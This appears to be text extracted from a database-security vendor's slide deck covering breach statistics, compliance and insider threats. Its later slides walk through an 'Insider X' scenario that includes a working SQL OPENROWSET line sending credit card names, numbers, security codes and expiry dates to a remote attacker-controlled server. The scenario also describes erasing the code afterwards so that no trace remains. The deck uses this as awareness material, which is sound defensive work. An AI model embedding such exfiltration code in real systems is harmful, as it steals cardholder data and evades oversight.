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Todayôs Topics

ÁRegulatory Compliance and the 

Database Landscape

ÁThe Insider Threat ïAttacks and 

Countermeasures 

ÁSecuring Databases with DbProtect

ÁDatabase Security & Monitoring Best 

Practices

ÁQ&A
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Bona Fides

Á Database security software company

Á Headquartered in NY
Á Offices: U.S., U.K.

Á Representation worldwide

Á Industry-leading solutions
Á Most awarded database security solution on the market

Á Solution of choice for auditors and security consultants

Á Complete Database Security

Á Discovery, vulnerability assessment, activity monitoring, auditing

Á Industry-leading customer base
Á 1000+ customers

Á Top-tier investors and partners
Á Visa (financial), Paladin (natôl security), et al.

Á Strategic Relationships:
Á Security Technology Vendors ïMcAfee, ArcSight, et al.
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The Threat Has Changed Attackers Have Gone Pro

Á A decade ago, attacks were

Á Broad-based and malicious

ÁLaunched by disaffected ñHackersò

Á Intent was to disrupt operations & gain notoriety

Á Now, attacks are

Á Targeted at valuable data

Á Launched by sophisticated professionals

Á Intent is monetary gain

Á Data is a valuable asset in any organization

Á Value increases with greater integration and aggregation

Á So does the threat of data theft

http://www.oracle.com/index.html
http://www.microsoft.com/
http://www.ibm.com/us/
http://www.sybase.com/
http://images.google.com/imgres?imgurl=http://lib2.store.yahoo.co.jp/lib/bihaku-kobo/card-visa-logo.jpg&imgrefurl=http://store.yahoo.co.jp/bihaku-kobo/b0b2b2b0a52.html&h=150&w=228&sz=17&tbnid=bj8Fce6bSsnMHM:&tbnh=71&tbnw=108&prev=/images%3Fq%3Dvisa%2Blogo&start=3&sa=X&oi=images&ct=image&cd=3
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Database

Security

Forces Driving Database Application Security

Increasingly Focused Attacks

ÁDirectly on applications (75%!)

ÁIncluding insiders (80+%!)

ÁFinancially motivated

Demand for Pervasive Access

ÁBy anyone

ÁTo any application

ÁIncreasingly direct

Compliance Requirements

ÁData lives in Db apps (90%+): 

ÁPrivacy / confidentiality 

ÁIntegrity

ÁCompliance must be: 

ÁRepeatable

ÁDemonstrable
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Databases Are Under Attack

Source: Privacy Rights Clearinghouse, http://www.privacyrights.org/ar/ChronDataBreaches.htm

Company / Organization
# of Affected 

Customers

Date of 

Disclosure

UCLA

AT&T

Card Systems

Citigroup

DSW Shoe Warehouse

Bank of America

LexisNexis

ChoicePoint

800,000

19,000

40,000,000

3,900,000

1,400,000

1,200,000

310,000

145,000

21-Nov-06

29-Aug-06

17-Jun-05

6-Jun-05

8-Mar-05

25-Feb-05

9-Mar-05

15-Feb-05

Debit card compromise (OfficeMax?) 200,000 9-Feb-06

What Was 

Breached

DB

DB

DB

DB

DB

TP

TP

??

Total Affected Records - ô05-present: 150+ million

TJ X ??? 17-Jan-07DB

n/a

http://www.privacyrights.org/ar/ChronDataBreaches.htm
http://www.latimes.com/news/local/la-me-ucla12dec12,0,7111141.story?coll=la-home-headlines
http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1213279,00.html
http://www.informationweek.com/story/showArticle.jhtml?articleID=164900904&tid=6004
http://www.informationweek.com/showArticle.jhtml?articleID=161600945
http://www.informationweek.com/story/showArticle.jhtml?articleID=161601930
http://www.informationweek.com/story/showArticle.jhtml?articleID=163700396
http://www.msnbc.msn.com/id/7475594/
http://www.informationweek.com/showArticle.jhtml?articleID=60406788
http://www.eweek.com/article2/0,1895,1935677,00.asp
http://cbs4boston.com/local/local_story_017154318.html
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The Cost of A Data Breach

ÁIn 2006 Breaches cost companies an average of 
$182 per compromised record -- a 31% increase 
over 2005.

ÁOf 31 companies studied that experienced a 
data breach in 2006, direct costs ranged from $1 
Million to over $22 Million

source: Ponemon Institute, October 2006

ÁThese figures do not take into account the brand 
damage and loss of market capitalization 
incurred by the companies studied. The real 
costs of a breach are astronomical.
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Databases Vendors Are Aware of the Problem

ÁVendor Recommendations
ÁOracle - Oracle9i Security Checklist

ÁMicrosoft - 10 Steps to Secure SQL Server

ÁOther places
Áhttp://www.appsecinc.com/resources/platform/

ÁSANS Institute - Database Checklist

ÁSQLSecurity.com - SQLSecurity Checklist

http://www.appsecinc.com/resources/platform/
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ñéDBMSes do not offer a 

comprehensive set of advanced security 

optionsé (t)op DBMS tools vendors lag 

behindéò

Major Providers donôt have it

ñéwith growing incidence of intrusions 

across industries and strong regulatory 

requirements to secure private data, 

enterprises need to make DBMS security 

a top priority.ò

Firms Need it

Forrester on Database Security

Source: Comprehensive Database Security Requires Native DBMS Features And Third-Party Tools, Forrester Research, Inc., 

March 29, 2005
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Gartner on Database Security

ñDatabase and application managers must begin 
protecting and maintaining Oracle systems more 
aggressivelyé

1. Move immediately to shield these systems as well 
as possibleé

2. Apply the available patches as rapidly as possibleé

3. Use alternative security tools, such as activity-
monitoring technologies, to detect unusual activity. 

4. Pressure Oracle to change its security management 
practices.

Rich Mogull, Research VP
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The Database ñInsider Threatò

Who are Insiders?
The CISO of one of the largest banks in the world saysé

ñI define insiders in three categories

1. Authorized and Intelligent
- use IT resources appropriately

2. Authorized and ñstupidò
- make mistakes that may appear as malicious or fraudulent. 

3. Unauthorized and Malicious

- mask either their identity or their behavior or both!

The first two categories I can identify and track with 
identity management systems ïthe third, I can not!!ò
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The Database ñInsider Threatò

ÁWhy is it important to understand who are the Users?

Á80% of attacks originate on the Inside

ÁTypically Difficult to detect

Á65% of Threats go Undetected

Á25% of Enterprises detected Security Breaches

ÁDo you know who they are?

ÁCan you monitor all database access and behavior?

ÁDo you know your enterprise DB vulnerability profile?

ÁWould you pass a Privileged User Audit?

Á Is your Audit Trail Tamper Hardened? Non-repudiation?
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The Database ñInsider Threatò

ÁLetôs break it down a bit furtheré

ÁAuthorized Users

ÁEmployees - Clerks, Accountants, Finance, Salespeople, 

Purchasing, etc.

ÁPrivileged Users

ÁDBAôs, DB/App Developers, Application QA, Contractors, 

Consultants

ÁKnowledgeable Users

ÁIT Opôs, Network Opôs, Security Personnel, Audit Personnel

ÁOutsiders or Malicious User with Insider Access and/or 

vulnerability knowledge 

ÁThe sophisticated ñwhite collarò criminal

An individual may belong to more than one group

www.appsecinc.com
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Database Vulnerabilities

ÁBuffer Overflows 

ÁDenial of Service

ÁDefault and Weak Passwords

ÁPrivilege Escalation

ÁMisconfigurations

ÁSQL Injection 

ÁAccessing Operating System Resources

ÁAnd they just keep comingéé
ÁEx. Oracle now on quarterly patch schedule
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Á "Insider X" is a database developer at a large retailer.

ÁHe is responsible for writing the code that accepts credit 
card information from POS terminals and writes it into a 
database.

Á "Insider X" is addicted to adult chat rooms on the internet.

ÁAfter spending thousands on his habit, he realizes he 
canôt afford to continue, but he canôt stop.

Á "Insider X" plots to clandestinely harvest credit card numbers from 
his employerôs customers. 

ÁHeôll use those credit card numbers to buy more time in 
the chat rooms.

Attack Scenario: ñInsider Xò Harvests Credit Cards

www.appsecinc.com
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The "Insider Xôsò Plan

ÁThe plan is to embed malicious code into the database 
that processes and stores customer data. 
Á He will harvest credit card data as it is being processed into the system, 

rather then attempting to take it after the fact. 

Á "Insider X" has control over the database while in 
development, but will have no access when it goes to 
production
ÁHis attack needs to send the data to himé.and do so without getting 

noticed.

Á "Insider X" will use a Microsoft SQL Server database on a 
development server that he owns to collect the credit card 
numbers. 
Á He will take them home on disk and delete the records from the SQL 

Server every night.
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The Attack

Á "Insider X" knows that the SQL OLE DB Provider is 

installed on the target database server. 
Á This means he can use the OPENROWSET function to send data to his 

remote SQL Server database.

ÁHis attack is a simple line of SQL code embedded into the 

transaction processing system:

INSERT INTO OPENROWSET('SQLOLEDB','uid=sa; 

pwd=qwerty; Network=DBMSSOCN; 

Address=192.168.10.87,1433;', 'select * from 

Customers..Info') values (@FirstName, @LastName, 

@ccNumber, @ccType, @ccSecNumber, @ccExpDate)'

www.appsecinc.com
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The Attack in Detail

INSERT INTO 

OPENROWSET('SQLOLEDB','uid=sa;pwd=qwerty;Network=DBMSSO

CN;Address=192.168.10.87,1433;','select * from Customers..Info') 

values (

@FirstName, 

@LastName, 

@ccNumber, 

@ccType, 

@ccSecNumber, 

@ccExpDate

)'

OPENROWSET uses the OLE DB provider to set 
up a connection to the remote database. 

This is the information that weôre 
going to steal. Name, credit card 

number, expiration date, and security 
codeé.all the good stuff

The attackers database is 

located at 192.168.10.87 on 

port 1433

Write the data to 

the Info table in 

the Customers 

databaseéon 

"Insider X"ôs 

server
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"Insider X"ôs Attack in progress...

starts small
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"Insider X"ôs Attack in progress...

then 
growsé
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"Insider X"ôs Attack Complete

16,000+ credit card numbersé..thatôs about $80M in Credit!!!

and grows, 
and grows
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The Outcome

ÁOnce the application was deployed, "Insider X" collected 
at least 300 credit card numbers daily
Á After some time "Insider X" had thousands of records in his own SQL 
Serveréwithout being noticed by anybody

ÁDuring the next scheduled application update, "Insider 
X" removed the attack code from the system 

ÁNo trace remained on the victimôs SQL Server

Á"Insider X"ôs heist was a success

ÁWhen the attack was finally detected, it was too late to 

do anything about it. 
ÁInvestigations, fines, firings, brand damageé..it was bad for 

everyoneé.except "Insider X"


